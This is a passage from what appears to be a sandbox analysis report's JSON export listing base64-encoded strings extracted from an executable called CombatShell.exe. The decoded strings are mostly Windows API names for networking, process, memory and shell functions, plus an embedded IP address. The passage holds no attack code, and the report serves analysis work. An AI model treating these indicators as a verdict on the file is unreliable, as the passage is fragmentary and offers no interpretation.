Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUNvbXBsZXRpb25Ob3RpZmljYXRpb25Nb2Rlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXJFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0SGFuZGxlSW5mb3JtYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TWVudURlZmF1bHRJdGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvY2Vzc0RwaUF3YXJlbmVzc0NvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRGVzY3JpcHRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRXJyb3JNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkU3RhY2tHdWFyYW50ZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0dGluZ3MudmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2FpdGFibGVUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93Q29tcG9zaXRpb25BdHRyaWJ1dGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxfVHJheVduZA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxFeGVjdXRlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0N1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1dpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2h1dGRvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3dpdGNoVG9UaHJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzQWxsb2NTdHJpbmdMZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzU3RyaW5nTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtUGFyYW1ldGVyc0luZm9B","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtVGltZVRvVHpTcGVjaWZpY0xvY2FsVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGFyZ2V0IElNRQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGVybWluYXRlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzR2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzU2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9Vbmljb2RlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhY2tQb3B1cE1lbnU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRlTWVzc2FnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHpTcGVjaWZpY0xvY2FsVGltZVRvU3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VWlhR2V0UmVzZXJ2ZWROb3RTdXBwb3J0ZWRWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhTG9va3VwSWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5sb2NrRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5tYXBWaWV3T2ZGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5yZWdpc3RlcldhaXRFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbCBLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFByb3RlY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFF1ZXJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyR2V0RGV2Q2FwTWF4Q291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvck11bHRpcGxlT2JqZWN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdE9uQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc0FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc1NpbmdsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JzYVB1YktleVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudENvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudERD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2lkZUNoYXJUb011bHRpQnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVDb25zb2xlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBQ2xlYW51cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBR2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBSW9jdGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdkZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZE1zZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZFRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU3RhcnR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eXl5eWdnZ2dnZ2dnZ3V1dXV1dXV1dXV1dXV1dXVnZ2d1dXV1dXV1fX19fX19fX19fX19fX19fWdnfX19fX19fX16enp6enp6enp6enp6enp6Z2dnZ2d6enp6enp6ent7e3t7e3t7e3t7e3t7e3tnZ2dnZ2dne3t7e2dnZ2dnZ2dnZ3t7e3t7e3tYWFhYWFhYWFhYWFhYWFhYZ2dnZ2dnZ0xMTExMTExMTExMTExMTExnZ2dnZ2dnZ2dnZ2dnTExMZ2dnZ2dnZ0xMTExMTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eyJzdWNjZXNzIjp0cnVlLCJtZXNzYWdlIjoic3VjY2VzcyJ9","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null}],"targets":[{"name":"CombatShell.exe","strings":[{"value":"ISEhISFnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISIjJFRbZ2t2eg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISctMzk/RUtRV11jaW91ew==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiIiIiIiIiJnIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiImdnIiIi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiJcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiYqLjI2Oj5CRkpOUlZaXmJmam5ydno=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiYqZWltcXU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyMjIyMjIyMjIyMjZ2dnZ2dnZ2dnZ2dnZyNlZWVlZWVlZWVlZWVlZWVlZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyMjIyMjI2dnZ2dnJCQkJCQkJCQkJCQkJGckJCRnJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCRnJCQkJCQkJCQkJCQkJCQkJGdnJCQkJCRnJCQkZyQkJCRnZ2dnZ2dnJCRnJCQkZ2ckZ2ckJCQkZ2ckJCQkJCQkJCQkZ2dnZ2dnZyQkJCQkJCQkJA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyszO0NTY3M=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Iys3P0dPV2Nq","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCQmKzdCTlJcZ254","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JC44QkxWYGp0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JDZCTlpmcn4=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSVnZ2dnZ2dnZ2dnZ2dnZ1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXZ2dXV1d+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+Z2d+fn5+fn5+fn5+fn5+fn5nVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVGdnVGciIiIiIiIiIiIiImdnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJmdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiouMjY6PkJGSk5SVlpeYg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JjA6RE5YYmx2","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JjtAREhOU2Vx","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JydnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy02PkllbHF1eX0=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy4zOkFITlRaXno=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy82PUZNVmBqc3o=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KC40PEVNWGBocHc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KC81QUlRWWpyeQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KDA4UVddc3s=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KHopKHkpKHgpKHcpKHYpKHUpKHQpKHMpKHIpKHEpKHApKG8pKG4pKG0pKGwpKGspKGopKGkpKGgpKGcpKGYpKGUpKGQpKGMpKGIpKGEpMjAuMTkuMTguMTcuMTYuMTUuMTQuMTMuMTIuMTEuMTAuKDIwKSgxOSkoMTgpKDE3KSgxNikoMTUpKDE0KSgxMykoMTIpKDExKSgxMCkoOSkoOCkoNykoNikoNSkoNCkoMykoMikoMSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KFopKFkpKFgpKFcpKFYpKFUpKFQpKFMpKFIpKFEpKFApKE8pKE4pKE0pKEwpKEspKEopKEkpKEgpKEcpKEYpKEUpKEQpKEMpKEIpKEEpOSw4LDcsNiw1LDQsMywyLDEsMCwwLg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSkpKSkpKSkpKSkpKSkpKWdnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KkBKXWNuc3d7","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KkVNVV1kbHN5","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"LiMnKy8zNztrb3N3ew==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MEBQYHBTY3M=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MHgwMDAwMDAwMA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MHgwMDAwMDAwNA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"My44Ny45NS4xMA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzNI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzUzMzMyUFRFKA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"M3hpaWl4dmlpaWl2WElJSVhWSUlJSVYx","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"NGRqbXJtZG1jd2NwcHZzc3NkbXZodnd6","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"NTA0OTQ4NDc0NjQ1NDQ0MzQyNDE0MDM5MzgzNzM2","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ODg4ODg4ODg4ODg4ODg4OA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"OTk5OWc5OWdnZ2dnOTk5OWc5OTlnOTk5OTk5OTk5OTk5OTk5OWdnOTk5Z2dnZzk5OTk5OTk5OWdnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"OUZBWFRNVEVMU01Obw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ojo6Ojo6Ojo6Ojo6Ojo6OmdnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"PDw8PDw8PDw8PDw8PDw8PGdnZ2dnZ2c8Z2dnZ2dnZ2dnZ2dnZ2c8","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W1tbW1tbW1tbW1tbW1tbW2dnZ1tsbGxsbGxsbGxsbGxsbGxsZ2dnZ2dsVlZWVlZWVlZWVlZWVlZWVg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W11fXkFcQV1BXkFf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W19eQVxBXUFeQV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W19eQVxBXkFf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCQ4TDNEJChM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCR4SDNUJHhM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCRYTDNMJFBM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XDNBSEtOUVRYW19iZWg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XFxcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxBZmRcTWlv","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19DX3NwZWNpZmljX2hhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19nZXRtYWluYXJncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19pbml0ZW52","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19pb2JfZnVuYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXRfYXBwX3R5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXR1c2VybWF0aGVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X2Ftc2dfZXhpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X2luaXR0ZXJt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YGFiY2RlZmdoaWprbG1ubw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YW5haXVvdmF1aHBhbHRkZXZoZ3B0ZWZheHRtdGVsc21ubw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXJlbmVneWxIM0EgSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NRdWVyeVN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFUVldTSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFUVldVU0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFVQVRWV1NI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFVQVRWV1VTSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QkNyeXB0R2VuUmFuZG9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2Evc2EvY1Jz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdpbmRvd1Byb2NX","type":"Ansi","source":"Memory/File 